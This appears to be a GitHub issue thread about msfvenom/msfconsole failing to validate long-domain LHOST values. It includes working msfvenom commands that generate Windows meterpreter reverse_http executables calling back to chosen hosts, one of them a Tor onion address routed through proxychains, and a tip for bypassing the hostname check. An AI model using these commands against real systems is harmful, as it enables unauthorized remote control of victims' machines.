msfvenom and msfconsole fail to validate LHOST option with a long domain

[pkreuzt]

There seems to be an error in msfvenom which causes LHOST option to be not parseable under some circumstances. I have not been able to trace the error to the exact cause, but seems that if you specify LHOST to a long domain name with usual syntax it fails:

$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=myverylongdomainname.com LPORT=9999 -f exe

Error: The following options failed to validate: LHOST.

But if you specify the same domain omitting the '=' symbol it behaves correctly:

$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOSTmyverylongdomainname.com LPORT=9999 -f exe

[The payload is generated]

Also, if you specify LHOST to a short domain or an IP address it gets generated correctly too.
Error traceback (framework.log):

/usr/bin/msfvenom:332:in <main>' [01/30/2018 10:26:16] [e(0)] core: Msf::OptionValidateError : The following options failed to validate: LHOST. /usr/share/metasploit-framework/lib/msf/core/module/options.rb:21:in validate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:64:in generate' /usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:25:in create'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:53:in generate_simple' /usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:138:in generate_simple'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:395:in generate_raw_payload' /usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:341:in generate_payload'

The same issue affects msfconsole too, when setting LHOST to a long domain.

[01/30/2018 10:40:07] [e(0)] core: Exploit failed (multi/handler): The following options failed to validate: LHOST.

System stuff

Metasploit version

metasploit v4.16.34-dev installed in Kali via apt

[wvu]

Is the hostname resolvable?

[pkreuzt]

Yes, it is. I can ping it through this hostname.

[acammack-r7]

Well, the reason it succeeds on the second case is that it sees LHOST is not set and falls back to the default source address.

[wvu]

So the question here is have you verified the payload works as intended? That second syntax you listed is not valid in any case.

[wvu]

wvu@hiigara:~/metasploit-framework:master$ ./msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=thelongestdomainnameintheworldandthensomeandthensomemoreandmore.com LPORT=9999 -f exe | file -
No encoder or badchars specified, outputting raw payload
Payload size: 520 bytes
Final size of exe file: 73802 bytes
/dev/stdin: PE32 executable (GUI) Intel 80386, for MS Windows
wvu@hiigara:~/metasploit-framework:master$

Works for me.

[wvu]

Can you try the test above?

[acammack-r7]

It is worth noting that MSF will not validate domain names it can't resolve, whether or not they could be resolved from the intended target of the payload.

[wvu]

tl;dr The reverse_http stager will store the hostname, but MSF will first check if LHOST can be resolved.

[pkreuzt]

So you are saying the domain has to be resolvable by metasploit at the moment of payload creation. This could be the issue, I need to do further testing since there are proxys involved in my setting.
Is there any way to skip this check? My environment is a bit tricky. This means my obejective's routes could be very different from mine and difficult to replicate.

[void-in]

@pkreuzt I believe an entry in /etc/hosts file for the said domain should be enough to pass the check. Haven't checked it myself but it should work theoretically.

[tlmyasirs]

wvu@hiigara:~/metasploit-framework:master$ ./msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=thelongestdomainnameintheworldandthensomeandthensomemoreandmore.com LPORT=9999 -f exe | file -
No encoder or badchars specified, outputting raw payload
Payload size: 520 bytes
Final size of exe file: 73802 bytes
/dev/stdin: PE32 executable (GUI) Intel 80386, for MS Windows
wvu@hiigara:~/metasploit-framework:master$

Works for me.

still not working for me
Error: The following options failed to validate: LHOST.
/dev/stdin: empty

[Gangadharam93]

The error i came to know due to leaving space " " on lhost & lport
Like
lhost= 127.0.0.1 Wrong
lhost=127.0.0.1 correct

[Eltonsjohn]

Try this, its much simpler. Just change LHOST in the show options menu

Show options
Set LHOST=listening ip

thats it

[mzeeshanzafar28]

lhost= 127.0.0.1 Wrong
lhost=127.0.0.1 correct 😂

[mohsen56]

من هم همین مشکل را البته با ngrok دارم.
The following options failed to validate: Value '0.tcp.in.ngrok.io' is not valid for option 'LHOST'.
LHOS

[smackking770]

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: One or more options failed to validate: LHOST.

[phillmugs]

I have the same problem with termux ubuntu 20, msfvenom... Trying to set it to use noip ddns.net

[moyafai]

Just no space after the "="

[0xGLSS]

The issue is likely "myverylongdomainname.com" is not reachable
in my case, i tried setting an onion address as HOSTNAME which

1st Case: (msfvenom couldnt reach my address because it was on the tor network)
msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=umn7indt2n7hpbglhddh5mvng47rzrsfx27uonszt3bz3n673cmx4zid.onion LPORT=9999 -f exe | file -

Error: One or more options failed to validate: LHOST.
/dev/stdin: empty

2nd Case: (proxychains4 connecting to tor network)
proxychains4 msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=umn7indt2n7hpbglhddh5mvng47rzrsfx27uonszt3bz3n673cmx4zid.onion LPORT=9999 -f exe | file -

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
No encoder specified, outputting raw payload
Payload size: 673 bytes
Final size of exe file: 73802 bytes
/dev/stdin: PE32 executable (GUI) Intel 80386, for MS Windows, 4 sections